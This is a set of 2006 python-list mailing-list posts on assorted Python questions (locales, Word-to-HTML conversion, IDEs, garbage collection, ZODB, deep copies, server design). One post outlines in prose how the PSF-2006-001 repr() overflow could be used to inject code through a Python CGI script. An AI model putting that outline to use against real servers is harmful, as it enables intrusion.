In principle, setting the LANG environment variable should help.
Unfortunately, Cygwin doesn't implement locales correctly (neither
in the Unix way, nor in the Windows way), hence Python's machinery
fails.

If you believe that a Cygwin terminal always uses Latin-1 (try
entering ?, though  - it could be windows-1252 instead), you should
be able to hard-code that, by determining that it is a Cygwin
Python, or that you are running in a Cygwin terminal.

Regards,
Martin


From shane at hathawaymix.org  Mon Oct 16 15:06:51 2006
From: shane at hathawaymix.org (Shane Hathaway)
Date: Mon, 16 Oct 2006 13:06:51 -0600
Subject: OT: What's up with the starship?
In-Reply-To: <eh0j0d$lme$1@sea.gmane.org>
References: <mailman.419.1160722798.11739.python-list@python.org>	<SEhYg.7681$gL.2383@southeast.rr.com>	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>	<mailman.580.1161021410.11739.python-list@python.org>	<1161021960.792970.238240@m73g2000cwd.googlegroups.com>
	<eh0j0d$lme$1@sea.gmane.org>
Message-ID: <4533D84B.4060405@hathawaymix.org>

Fredrik Lundh wrote:
> rurpy at yahoo.com wrote:
> 
>> Then perhaps you or he could explain it to us less intelligent
>> people in very simple terms?
> 
> the security advisory explains that the cause of the problem is a bug
> in the source code used to implement repr() for 32-bit Unicode strings, 
> on all Python versions from 2.2 and onwards.
> 
> Python 2.2 was released in 2001.

So, are we to infer that Starship was running Python 2.1 or earlier at
the time the server was compromised?  Otherwise I missed your point, sorry.

The vulnerability described by PSF-2006-001 could easily lead to server
compromises.  AFAIK, most Linux distributions enable UCS-4 by default,
and they have done so for years.  To compromise a server using the
PSF-2006-001 vulnerability, an intruder just needs to find a Python CGI
script running on that server that converts some bad input to unicode,
then cause that script to raise an error while processing the request
containing the bad input.  There's a good chance the script will log an
error with the repr() of the bad input, allowing the intruder to mess
with the stack.  If the server is running a distribution-supplied build
of Python, the intruder may be able to inject arbitrary code.

I don't know if this concern applies to Starship specifically, but it
seems to apply to thousands of web sites running Python CGIs and Python
web servers.

Shane


From Luap777 at gmail.com  Sat Oct 14 16:13:31 2006
From: Luap777 at gmail.com (Luap777 at gmail.com)
Date: 14 Oct 2006 13:13:31 -0700
Subject: .doc to html and pdf conversion with python
In-Reply-To: <mailman.514.1160851435.11739.python-list@python.org>
References: <mailman.514.1160851435.11739.python-list@python.org>
Message-ID: <1160856811.227982.233820@h48g2000cwc.googlegroups.com>

Alexander Klingenstein wrote:
> I need to take a bunch of .doc files (word 2000) which have a little text including some tables/layout and mostly pictures and comvert them to a pdf and extract the text and images > separately too. If I have a pdf, I can do create the html with pdftohtml called from python with > popen. However I need an automated way to converst the .doc to PDF first.

Is there some reason you really want to convert to PDF first? You can
get much better HTML right from the Word doc. You'll lose a lot of info
going from PDF to HTML.

Something like this can open doc in Word, save as HTML, then close doc.

import os, win32com.client

wdApp = win32com.client.Dispatch("Word.Application")
wdApp.Visible = 1

def SaveDocAsHTML(docPath, htmlPath):
    doc = wdApp.Documents.Open(docPath)
    # See
mk:@MSITStore:C:\Program%20Files\Microsoft%20Office\OFFICE11\1033\VBAWD10.CHM::/html/womthSaveAs1.htm
    # in Word VBA help doc for more info.

    # Saves all text and formatting with HTML tags so that the
resulting document can be viewed in a Web browser.
    doc.SaveAs(htmlPath, win32com.client.constants.wdFormatHTML)
    # Saves text with HTML tags with minimal cascading style sheet
formatting. The resulting document can be viewed in a Web browser.
    #doc.SaveAs(htmlPath,
win32com.client.constants.wdFormatFilteredHTML)
    doc.Close()

And if you aren't satisfied with the ugly HTML you're likely to get,
you can try running  ?Tidylib (http://utidylib.berlios.de/) on the
output after this step also.

Thank you,
Paul



From johnjsal at NOSPAMgmail.com  Thu Oct 19 10:32:31 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 19 Oct 2006 14:32:31 GMT
Subject: wxPython help wxSashWindow
In-Reply-To: <1161266243.991025.174530@m7g2000cwm.googlegroups.com>
References: <1161266243.991025.174530@m7g2000cwm.googlegroups.com>
Message-ID: <30MZg.115$1n3.3329@news.tufts.edu>

MatthewWarren wrote:

> I'm just starting out with wxPython

Hi there. Sorry I can't help you because SashWindow isn't something I've 
worked with yet, but I just wanted to let you know that there is also a 
dedicated wxPython newsgroup (not that the people here aren't geniuses!) :)

gmane.comp.python.wxpython (newsgroup)
wxPython-users at lists.wxwidgets.org (mailing list)

It's a great resource.


From sturlamolden at yahoo.no  Sat Oct 21 15:35:58 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 21 Oct 2006 12:35:58 -0700
Subject: A Comparison Of Dynamic and Static Languiges
In-Reply-To: <1161455284.563900.320430@m7g2000cwm.googlegroups.com>
References: <1161455284.563900.320430@m7g2000cwm.googlegroups.com>
Message-ID: <1161459358.506368.217150@m73g2000cwd.googlegroups.com>


atbusbook at aol.com wrote:

> c#: mono 1.1.13.7
> perl: perl 5.8.8
> python: python 2.4.2
> ruby: ruby 1.8.4

And why would any of this tell you anything about static versus dynamic
languages? The languages you list are all dependent on different
runtimes, and your results will simply reflect that. It would not tell
you anything about how the dynamic or static nature of the language
affects the execution speed.

Common Lisp is dynamic just like Python, and there are interpreted and
compiled implementations of it. It is common knowledge that interpreted
Lisp is "slow". Fewer know that compiled Lisp runs nearly at the speed
of C, albeit being a dynamic language. So how would you conclude if you
added a compiled implementation of Common Lisp to your list?



From python.list at tim.thechases.com  Tue Oct 10 09:59:37 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Tue, 10 Oct 2006 08:59:37 -0500
Subject: Python component model
In-Reply-To: <OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>	<mailman.186.1160469729.11739.python-list@python.org>
	<OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>
Message-ID: <452BA749.8040302@tim.thechases.com>

> There's no doubt that Python's excellent introspection mechanism allows 
> an outside RAD-like tool to inspect the workings of any Python object. 
> But that does not make it a component model in my original use of the 
> term on this thread. A RAD tool needs to know what properties and events 
> within a class can be manipulated visually, and it needs to be able to 
> serialize those properties and events so that they are set at run-time 
> automatically once an object is created.

A little visual inspection of some objects:

tim at oblique:~$ python
Python 2.3.5 (#2, Sep  4 2005, 22:01:42)
[GCC 3.3.5 (Debian 1:3.3.5-13)] on linux2
Type "help", "copyright", "credits" or "license" for more 
information.
 >>> class Person(object):
...     def __init__(self, name, age=None):
...             self.name = name
...             self.age = age
...     def whoami(self):
...             if self.age is not None:
...			return "%s (%i)" % (
...				self.name,
...				self.age)
...             return self.name
...
 >>> p = Person("Sandy")
 >>> [s for s in dir(p) if not s.startswith('_') and 
callable(eval('p.%s' % s))]
['whoami']
 >>> [s for s in dir(p) if not s.startswith('_') and not 
callable(eval('p.%s' % s))]
['age', 'name']

Thus, you have the ability to find an object's methods/events 
(things that are callable()), and its properties (things that are 
not callable()).  Any "RAD" tool that wants can pull these 
properties, just as my command-line RAD tool can ;)

As for serializing them,

 >>> import shelve
 >>> d = shelve.open('tmp/stuff.shlv')
 >>> d['person'] = p
 >>> p = 'hello'
 >>> p
'hello'
 >>> p = d['person']
 >>> p.whoami()
'Sandy'
 >>> p.age = 42
 >>> p.whoami()
'Sandy (42)'
 >>> d['person'] = p
 >>> d.close()
 >>> p = 'hello2'
 >>> p
'hello2'
 >>> d = shelve.open('tmp/stuff.shlv')
 >>> p = d['person']
 >>> p.whoami()
'Sandy (42)'

which seems to work fine for me.  This can be used for creating 
all sorts of flavors of objects at design time, storing them, and 
then restoring them at runtime.

-tkc






From johnjsal at NOSPAMgmail.com  Fri Oct 13 17:56:07 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 13 Oct 2006 17:56:07 -0400
Subject: wing ide vs. komodo (python IDE comparison)?
In-Reply-To: <mailman.484.1160775380.11739.python-list@python.org>
References: <2nRXg.108$1n3.2866@news.tufts.edu>
	<mailman.484.1160775380.11739.python-list@python.org>
Message-ID: <45300c4e$0$1794$c3e8da3@news.astraweb.com>

Todd Whiteman wrote:
> Check the following links, somebody has already done the hard work for 
> you :)
> 
> http://wiki.python.org/moin/IntegratedDevelopmentEnvironments
> http://spyced.blogspot.com/2006/02/pycon-python-ide-review.html
> http://spyced.blogspot.com/2005/09/review-of-6-python-ides.html
> http://www.straw-dogs.co.uk/blog/python-ide-review
> 
> Cheers,
> Todd
> 
> John Salerno wrote:
>> Just curious what users of the two big commercial IDEs think of them 
>> compared to one another (if you've used both).
>>
>> Wing IDE looks a lot nicer and fuller featured in the screenshots, but a 
>> glance at the feature list shows that the "personal" version doesn't 
>> even support code folding! That's a little ridiculous and makes me have 
>> doubts about it.
>>
>> Komodo, on the other hand, seems to have more of the features that the 
>> personal version of Wing IDE lacks (call tips, class browser, etc.) but 
>> the look of it seems very sparse for some reason.
>>   

Nice, thanks!


From insideview at gmail.com  Fri Oct 13 00:33:57 2006
From: insideview at gmail.com (insideview at gmail.com)
Date: 12 Oct 2006 21:33:57 -0700
Subject: Python Newbie question
Message-ID: <1160714037.401129.219400@e3g2000cwe.googlegroups.com>

Is it possible to combine or bundle separate .exe files into the
compiled python .exe when using py2exe? If possible, how would that be
described within setup.py ..... and how/where would I specify such .exe
should be ran first in the pre-compiled scripts? My goal is to get the
total package down to as few files as possible, so I appreciate
understanding how I could do this. The .exe is some low-level commands
that was compiled in a separate language.... but I hope this little
.exe can be included gracefully. Thank you for your expertise! :) AMYMC



From tim.peters at gmail.com  Sun Oct  1 16:49:33 2006
From: tim.peters at gmail.com (Tim Peters)
Date: Sun, 1 Oct 2006 16:49:33 -0400
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <C5B5BD17-77A5-4091-A85C-2EFFBFA0AD99@earthlink.net>
References: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>
	<efoo0p$59s$2@sea.gmane.org>
	<C5B5BD17-77A5-4091-A85C-2EFFBFA0AD99@earthlink.net>
Message-ID: <1f7befae0610011349x59c0ba72ub761ae077bc37d6c@mail.gmail.com>

[Charlie Strauss]
>>> level0:  newly created objects
>>> level1:  objects that survived 1 round of garbage collection
>>> level2:  objects that survivied 2+ rounds of gargbage collection
>>>
>>> Since all of my numerous objects are level2 objects, and none of
>>> them are every deallocated, then I should never trip the GC for
>>> these.

[Fredrik Lundh]
>> your understanding of generational GC is a bit fuzzy, it seems.
>> that an object is promoted to a higher level means that it's
>> not inspected quite as often as lower-level objects, not that it's
>> never inspected at all.

[Charlie]
> As I understand it, level2 (and level1) objects only undergo gc when
> more than 10 of them is deallocated.  Since I never deallocate, this
> should not be tripped right?

No.  Cyclic gc is triggered by an excess of allocations over deallocations.

> In any case regarding your other comments:

>>> Could you clarify that for me.  GC really has three components
>>> two it:  1) finding and freeing unrefernced memory by refer
>>> refer counts 2)  cycle removal and 3)  defragementing the
>>> storage stack.  If I turn off GC, don't I lose all of these?

>> CPython always does (1), only does (2) if cycle-breaking GC isn't
>> disabled, and never does (3).

> Never does 3?

Correct.

>  then how does it compact it's memory allocation area?

It doesn't.

> Surely it does not rely on the OS to manage every small object as a
> separate memory allocation.

It doesn't do that either.  Python has its own small-object allocator,
carving up 256KB chunks obtained from the system malloc().  It's based
on size-segregated "pools" with extremely low bookkeeping overhead,
and external fragmentation in small-object memory is essentially
non-existent because of that (although it's possible to concoct
pathological programs that exhibit it).

> And just to be clear: are you saying that when I do a gc.disable this
> only turns off 2 and not 1?

Right.  Refcounting (#1) can never be disabled, and cyclic GC (#2) is
used only for trash objects that can't be reclaimed by #1 (meaning
container objects in cycles).


From tjreedy at udel.edu  Mon Oct 23 18:13:46 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 23 Oct 2006 18:13:46 -0400
Subject: numpy error
References: <4q4eggFl1prqU1@individual.net>
Message-ID: <ehjeqp$fed$1@sea.gmane.org>

numpy questions may get answered sooner and more dependably on the numpy 
mailing list.





From DustanGroups at gmail.com  Sun Oct 15 09:21:16 2006
From: DustanGroups at gmail.com (Dustan)
Date: 15 Oct 2006 06:21:16 -0700
Subject: Reverse string-formatting (maybe?)
In-Reply-To: <1160918263.478229.137760@h48g2000cwc.googlegroups.com>
References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com>
	<egqoee$i81$03$1@news.t-online.com>
	<1160916174.892851.39730@e3g2000cwe.googlegroups.com>
	<mailman.539.1160917513.11739.python-list@python.org>
	<1160918100.141668.128850@h48g2000cwc.googlegroups.com>
	<1160918263.478229.137760@h48g2000cwc.googlegroups.com>
Message-ID: <1160918476.082318.215920@m7g2000cwm.googlegroups.com>


Dustan wrote:
> Dustan wrote:
> > Tim Chase wrote:
> > > > My template outside of the '%s' characters contains only commas and
> > > > spaces, and within, neither commas nor spaces. Given that information,
> > > > is there any reason it might not work properly?
> > >
> > > Given this new (key) information along with the assumption that
> > > you're doing straight string replacement (not dictionary
> > > replacement of the form "%(key)s" or other non-string types such
> > > as "%05.2f"), then yes, a reversal is possible.  To make it more
> > > explicit, one would do something like
> > >
> > >  >>> template = '%s, %s, %s'
> > >  >>> values = ('Tom', 'Dick', 'Harry')
> > >  >>> formatted = template % values
> > >  >>> import re
> > >  >>> unformat_string = template.replace('%s', '([^, ]+)')
> > >  >>> unformatter = re.compile(unformat_string)
> > >  >>> extracted_values = unformatter.search(formatted).groups()
> > >
> > > using '[^, ]+' to mean "one or more characters that aren't a
> > > comma or a space".
> > >
> > > -tkc
> >
> > Thanks.
> >
> > One more thing (I forgot to mention this other situation earlier)
> > The %s characters are ints, and outside can be anything except int
> > characters. I do have one situation of '%s%s%s', but I can change it to
> > '%s', and change the output into the needed output, so that's not
> > important. Think something along the lines of "abckdaldj iweo%s
> > qwierxcnv !%sjd".
>
> That was written in haste. All the information is true. The question:
> I've already created a function to do this, using your original
> deformat function. Is there any way in which it might go wrong?

Again, haste. I used Peter's deformat function.



From frithiof.jensen at die_spammer_die.ericsson.com  Thu Oct 26 04:43:09 2006
From: frithiof.jensen at die_spammer_die.ericsson.com (Frithiof Andreas Jensen)
Date: Thu, 26 Oct 2006 10:43:09 +0200
Subject: Sending Dictionary via Network
References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com>
	<453e9ba0$0$3276$426a34cc@news.free.fr>
	<1161732155.264210.77250@f16g2000cwb.googlegroups.com>
	<ehnapb$s6p$1@news.al.sw.ericsson.se>
	<453f5b4b$0$13814$4d3efbfe@news.sover.net>
Message-ID: <ehpseu$ajm$1@news.al.sw.ericsson.se>


"Leif K-Brooks" <eurleif at ecritters.biz> wrote in message
news:453f5b4b$0$13814$4d3efbfe at news.sover.net...
> Frithiof Andreas Jensen wrote:
> >> "mumebuhi" <mumebuhi at gmail.com> wrote in message
> > news:1161732155.264210.77250 at f16g2000cwb.googlegroups.com...
> >> The simplejson module is really cool and simple to use. This is great!
> >
> > JUST what I need for some configuration files!!
> > Thanks for the link (die, configparse, dieee).
>
>
> I would personally use YAML for configuration files instead of JSON,
> because it's more human-readable. But it's a matter of personal preference.

Hehe: I am using YAML now. I find it readable - human ... hmm ;-)




From gagsl-py at yahoo.com.ar  Wed Oct 11 06:59:48 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 11 Oct 2006 07:59:48 -0300
Subject: Can pdb be set to break on warnings?
In-Reply-To: <1160562703.933794.138980@b28g2000cwb.googlegroups.com>
References: <1160558575.381070.200570@b28g2000cwb.googlegroups.com>
	<mailman.302.1160559542.11739.python-list@python.org>
	<1160562703.933794.138980@b28g2000cwb.googlegroups.com>
Message-ID: <7.0.1.0.0.20061011075906.049b7a30@yahoo.com.ar>

At Wednesday 11/10/2006 07:31, LorcanM wrote:

> >
> >      python -m pdb -Werror myprogram.py
> >
>It sounds like what I want, but it doesn't work for me. When I try the
>above line of code, it replies:
>Error: -Werror does not exist

Try: python -h


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From eldiener_no_spam_here at earthlink.net  Sat Oct 14 06:17:02 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Sat, 14 Oct 2006 10:17:02 GMT
Subject: Python component model
In-Reply-To: <1160810219.869916.324790@b28g2000cwb.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<1160696330.090125.212900@h48g2000cwc.googlegroups.com>
	<4p9ooaFhds1pU1@individual.net>
	<1160810219.869916.324790@b28g2000cwb.googlegroups.com>
Message-ID: <yO2Yg.13671$UG4.883@newsread2.news.pas.earthlink.net>

Kay Schluehr wrote:
> val bykoski wrote:
>> Peter Wang wrote:
>>> Edward,
>>>
>>> This isn't in response to any specific one of the 100+ posts on this
>>> thread, but I justed wanted to encourage you to continue your
>>> investigation into Python component models and maybe looking for some
>>> common ground between them.  Frequently the individual developers are
>>> too heads-down on working on their own things to do a broad survey, so
>>> I think this would be very useful indeed.
>>>
>>> I wouldn't have felt it necessary to post this except for the large
>>> number of posts along the lines of "foo.dict is introspective enough
>>> for me!".  I think you might have an easier time evangelizing the
>>> principle of component-oriented programming (or "event-based", or
>>> "reactive", or whatever) if you separated it from the notions of RAD UI
>>> development.  There is a very large difference between writing
>>> components and writing objects, and it seems that most people arguing
>>> "python doesn't need components" don't see this distinction.
>>>
>>> For me, it's the difference between writing "live" objects and "dead"
>>> objects.  Live objects not only encapsulate implementations of an
>>> interface with some state, but they also encapsulate handling of
>>> events, i.e. responses to changes in their environment.  Dead objects
>>> have methods but there has to be a function somewhere that knows which
>>> dead object to call with what parameters at exactly the right time.
>>> (The only mechanism for managing this complexity is to create ever more
>>> functions at ever higher levels of abstraction, or to have a
>>> proliferation of nebulously-defined "manager" objects.)  IMHO once you
>>> cross this chasm and are able to model your problem domain with live
>>> objects that go off and automatically respond to the runtime
>>> environment and Do the Right Thing, it's very hard to go back to a dead
>>> object mindset.  I can understand, however, that until one makes this
>>> leap, it might seem like an academic and useless distinction.
>>>
>>> -peter
>>>
>> Excellent post, Peter.  Thanks for great clarification. Looking from a
>> physicist' perspective, im always trying to compare/evaluate languages
>> from "the physical reality/dynamics" angle.  So, the run-time
>> space/dynamics is the only one that matches the natural "always-runtime"
>> objects - atoms, molecules, EM fields, biological cells(?).  It is the
>> *reactive* world with event/forces-driven dynamics.  Seemingly, there is
>> nothing beyond that, including biology.
> 
> A more conventional notion is that of static/dynamic properties of a
> language. Component models that guarantee certain properties at compile
> time are easily checked for consistency but to many programmers ( I
> guess most of the programmers who attend to this list ) they are
> inflexible: you might change or adapt your components according to
> events, switch between entities, enable dynamic configuration etc. This
> can be achieved in C++, Java etc. as well but not without pain.

Having "static" properties and events is necessary for visual RAD 
programming environments, where connections are being setup between 
events and event handlers, and properties are being initialized, at 
design time. This does not preclude the normal "dynamic" attributes of 
Python. However if Python programmers reject such visual RAD programming 
environments as having any value, then they probably won't be interested 
in a common component model for them.


From steve at REMOVE.THIS.cybersource.com.au  Mon Oct 30 17:26:43 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Tue, 31 Oct 2006 09:26:43 +1100
Subject: scared about refrences...
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
	<pan.2006.10.30.19.32.25.538858@gmx.net>
	<1162242647.481298.251320@b28g2000cwb.googlegroups.com>
Message-ID: <pan.2006.10.30.22.26.42.261733@REMOVE.THIS.cybersource.com.au>

On Mon, 30 Oct 2006 13:10:47 -0800, SpreadTooThin wrote:

>> > How do I specify or create deep copies of objects that may contain
>> > other objects that may contain other object that may contain other
>> > objects....
>>
>> See the `copy` module especially `copy.deepcopy()`.
>>
> 
> This appears to be the right thing to do to me.. (but what do I know?)

Yes, copy.deepcopy() is the thing you want.

But remember Fredrik's advice that well-designed Python code should not
need to copy data structures often. I don't think I've ever needed to use
deepcopy, and rarely copy.copy().

In general, functions should not modify their caller's data. So this is
bad practice:

def print_list(alist):
    """Print a sorted list"""
    alist.sort()  # modifies the caller's data -- bad!
    for index, value in enumerate:
        print "Value %s at index %d" % (index, value)

This is better:

def print_list(alist):
    """Print a sorted list"""
    alist = alist[:]  # makes a local shallow copy of the list
    alist.sort()  # safe to modify now
    for index, value in enumerate:
        print "Value %s at index %d" % (index, value)

But notice that you only need a shallow copy, not a deep copy, because you
aren't modifying the objects within the list, only the list itself.



> I tried this which more closely resembles my project but this doesn't
> work:

Unfortunately my crystal ball is back at the shop being repaired, so
you'll have to explain what "doesn't work" means in this case. Does it
raise an exception? If so, please post the exception. Does it do something
different from what you expected? Then what did you expect, and what did
it do?


-- 
Steven.



From exarkun at divmod.com  Fri Oct 20 15:27:53 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Fri, 20 Oct 2006 15:27:53 -0400
Subject: ZODB and Python 2.5
In-Reply-To: <ehb6ke$1am$1@sea.gmane.org>
Message-ID: <20061020192753.26151.1736027304.divmod.quotient.8283@ohm>

On Fri, 20 Oct 2006 14:04:46 -0500, Robert Kern <robert.kern at gmail.com> wrote:
>Andrew McLean wrote:
>> I'm going to have to delay upgrading to Python 2.5 until all the
>> libraries I use support it. One key library for me is ZODB. I've Googled
>>   and can't find any information on the developers' plans. Does anyone
>> have any information that might help?
>
>Since the Python development team tries hard to maintain backwards
>compatibility, the vast majority of Python packages will automatically support
>the newest release of Python in that they will work just dandy. Developers don't
>really have plans to do that kind of support since it just happens.

Python 2.5 made quite a changes which were not backwards compatible,
though.  I think for the case of Python 2.4 -> Python 2.5 transition,
quite a few apps will be broken, many of them in relatively subtle
ways (for example, they may have been handling OSError instead of
WindowsError, or they may have relied on exceptions being classic classes,
or it might not be able to handle NullImporter, or it might define a
slightly buggy but previously working __hash__ which returns the id() of
an object or it may be unable to handle the unconditional stderr writes
that the compiler does when it encounters `with' used as a variable or it
might have relied on top-level code having a name of "?" rather than the
new "module" or it might have relied on the atime and mtime fields of a
stat structure being integers rather than floats).

>
>If you mean something else by "support" (like making use of new language or
>standard library features), then what do you mean?
>
>I would suggest, in order:
>
>1) Look on the relevant mailing list for people talking about using ZODB with
>Python 2.5.
>
>2) Just try it. Install Python 2.5 alongside 2.4, install ZODB, run the test suite.
>

These are pretty good suggestions, though, particularly the latter.

Jean-Paul


From david at boddie.org.uk  Tue Oct 24 20:37:50 2006
From: david at boddie.org.uk (David Boddie)
Date: Wed, 25 Oct 2006 02:37:50 +0200
Subject: python GUIs comparison (want)
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
	<453E3370.9060008@kevin-walzer.com>
Message-ID: <eddc3$453eb1df$54d1d767$28881@news.chello.no>

On Tuesday 24 October 2006 17:38, Kevin Walzer wrote:

> PyQt:
> Pro: Powerful, cross-platform, sophisticated GUI's
> Con: Based on C++ toolkit;

That's not a bad thing in itself.

> docs assume knowledge of C++;

Only to a point. I knew Python before I knew C++, and it didn't stop
me from learning PyQt. Think of it as an easy introduction to C++. ;-)

Actually, when it comes to code snippets and examples for Qt, you
only really need to perform some basic search and replace operations
to get close to the same code in Python:

  ::   maps to .
  ->   maps to .
  this maps to self
  &&   maps to and
  ||   maps to or

and so on. Unless you're just copying the code out of the browser,
it should be fairly straightforward to follow.

> commercial deployment is expensive; free deployment must be GPL;

Opinions differ on the first one of these. It's a matter of
perspective.

> smaller development and user community than wxPython

Can you back that up with some numbers?

David


From fakeaddress at nowhere.org  Tue Oct 31 02:33:59 2006
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Tue, 31 Oct 2006 07:33:59 GMT
Subject: Event driven server that wastes CPU when threaded doesn't
In-Reply-To: <1162120762.477120.275320@e3g2000cwe.googlegroups.com>
References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com>
Message-ID: <H%C1h.707$m54.56@newssvr14.news.prodigy.com>

Snor wrote:
> I'm attempting to create a lobby & game server for a multiplayer game,
> and have hit a problem early on with the server design. I am stuck
> between using a threaded server, and using an event driven server. I've
> been told time and time again that I should use an event driven server
> design (that is, use twisted).

I didn't hear the specifics of how you got that advice, so I
can't comment specifically. I will say that I've have heard a
lot of advice against threads that struck me as simply naive.

> There is a lot of interaction between the clients and they would often
> need to write to the same list of values, which of course becomes a
> problem with a threaded server - so event driven solves that problem,
> and I assumed it would solve all my problems. [...]

The purely event-driven style solves some problems, but creates
others. You're forced to structure your code around the blocking
behavior, and that's not the structure anyone would choose for
clarity or maintainability.

Suppose we're enhancing an event-driven system, and decide to
relocate some datum from a variable to the database. Suppose in
one or more places, accessing the data happens in a call chain
several function down from the event loop. We can't just change
the function that accesses the data because a synchronous
database call could block and stop event processing. Every
interface on the call chain is broken.


[...]
> I will want the server to support as many users as is possible on any
> given machine - and so wasted CPU cycles is something I am trying to
> avoid.

Python is a great scripting language, but squeezing out machine
performance is not where scripting languages shine. That said, you
might start in Python, to see if your system is successful and the
performance of your server really is a limiting factor.


> Is the only solution to use a threaded server to let my clients make
> their requests and receive a response in the fastest possible time?

Maybe. Probably not. It's all good -- multi-threading is your friend.


-- 
--Bryan


From p at ulmcnett.com  Sat Oct 14 15:42:18 2006
From: p at ulmcnett.com (Paul McNett)
Date: Sat, 14 Oct 2006 12:42:18 -0700
Subject: .doc to html and pdf conversion with python
In-Reply-To: <1040822393@web.de>
References: <1040822393@web.de>
Message-ID: <45313D9A.7070203@ulmcnett.com>

Alexander Klingenstein wrote:
> I need to take a bunch of .doc files (word 2000) which have a little text including some tables/layout and mostly pictures and comvert them to a pdf and extract the text and images separately too. If I have a pdf, I can do create the html with pdftohtml called from python with popen. However I need an automated way to converst the .doc to PDF first.
> 
> Is there a way to do what I want either with a python lib, 3rd party app, or maybe remote controlling Word (a la VBA) by "printing" to PDF with a distiller?
> I already tried wvware from gwnuwin32, however it has problems with big image files embedded in .doc file(looks like a mmap error).

I would try scripting OpenOffice from Python, using the Python-UNO bridge.

http://udk.openoffice.org/python/python-bridge.html

Once you have the pdf, use the pdftohtml to get access to the image 
elements you need.

-- 
pkm ~ http://paulmcnett.com



From piet at cs.uu.nl  Tue Oct 10 13:17:43 2006
From: piet at cs.uu.nl (Piet van Oostrum)
Date: Tue, 10 Oct 2006 19:17:43 +0200
Subject: People's names
References: <JnzSg.36$1n3.471@news.tufts.edu>
	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>
	<yCQSg.41$1n3.351@news.tufts.edu>
	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>
	<mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
	<mailman.93.1160373988.11739.python-list@python.org>
	<egd0k3$u3r$2@lust.ihug.co.nz>
	<mailman.171.1160464326.11739.python-list@python.org>
	<PIJWg.121635$1a4.2250811@phobos.telenet-ops.be>
Message-ID: <m2slhw2iq0.fsf@ordesa.local>

>>>>> Roel Schroeven <rschroev_nospam_ml at fastmail.fm> (RS) wrote:

>RS> It's the same here in Belgium. Except that our Van is with a capital V in
>RS> most cases; if it's a lower v it either indicates nobility or a Dutch name.

>RS> I don't see it as a problem. I prefer having Van Straeten and Van Stralen
>RS> next to each other than having them mixed up with names without Van like
>RS> this:
>RS> Straeten, Van
>RS> Straetmans
>RS> Stralen, Van

In Holland it is sorted without the 'van' 'de' etc.
-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP 8DAE142BE17999C4]
Private email: piet at vanoostrum.org


From fredrik at pythonware.com  Mon Oct 30 03:29:10 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 09:29:10 +0100
Subject: Lookuperror : unknown encoding : utf-8
In-Reply-To: <1162196598.260229.224100@e3g2000cwe.googlegroups.com>
References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com>	<1162194168.044962.262720@b28g2000cwb.googlegroups.com>
	<1162196598.260229.224100@e3g2000cwe.googlegroups.com>
Message-ID: <ei4d4m$d2e$1@sea.gmane.org>

Sachin Punjabi wrote:

> The OS is Windows XP

then your installation is seriously broken.  where did you get the 
installation kit?  have you removed stuff from the Lib directory ?

</F>



From totalharmonicdistortion at hotmail.com  Sun Oct 15 02:32:39 2006
From: totalharmonicdistortion at hotmail.com (Sir Psycho)
Date: 14 Oct 2006 23:32:39 -0700
Subject: Web Hosting
Message-ID: <1160893959.465993.138820@i42g2000cwa.googlegroups.com>

Hi,

With web hosting, does the ISP you chose have to support the framework
you work with as well?

Im looking at making a site in Python, however, Im lost as to what ISPs
actually support. Some ISPs say they support Python so does that mean
if I wanted to use TurboGears It would just work anyway?

If an ISP just mentions Python support, does it mean CGI only
scripting?

I always assumed a framework was just a set of libraries you import
into your project and things just start working...like a jar file in
Java.

Thanks for your time,



From UrsusMaximus at gmail.com  Tue Oct 31 07:30:35 2006
From: UrsusMaximus at gmail.com (UrsusMaximus at gmail.com)
Date: 31 Oct 2006 04:30:35 -0800
Subject: Python tools for managing static websites?
In-Reply-To: <mailman.1542.1162296580.11739.python-list@python.org>
References: <mailman.1542.1162296580.11739.python-list@python.org>
Message-ID: <1162297834.517797.153000@i42g2000cwa.googlegroups.com>

Firedrop2 is a content management system for static web sites. I have
used it to manage www.awaretek.com for 3-4 yearts now. it is perfect
for what you descibe. You can mkae a change in format and apply it to
all pages in a flash. It is very stable, and it is easy to use. It is
written in Python, actively maintained by Michael foord, and you can
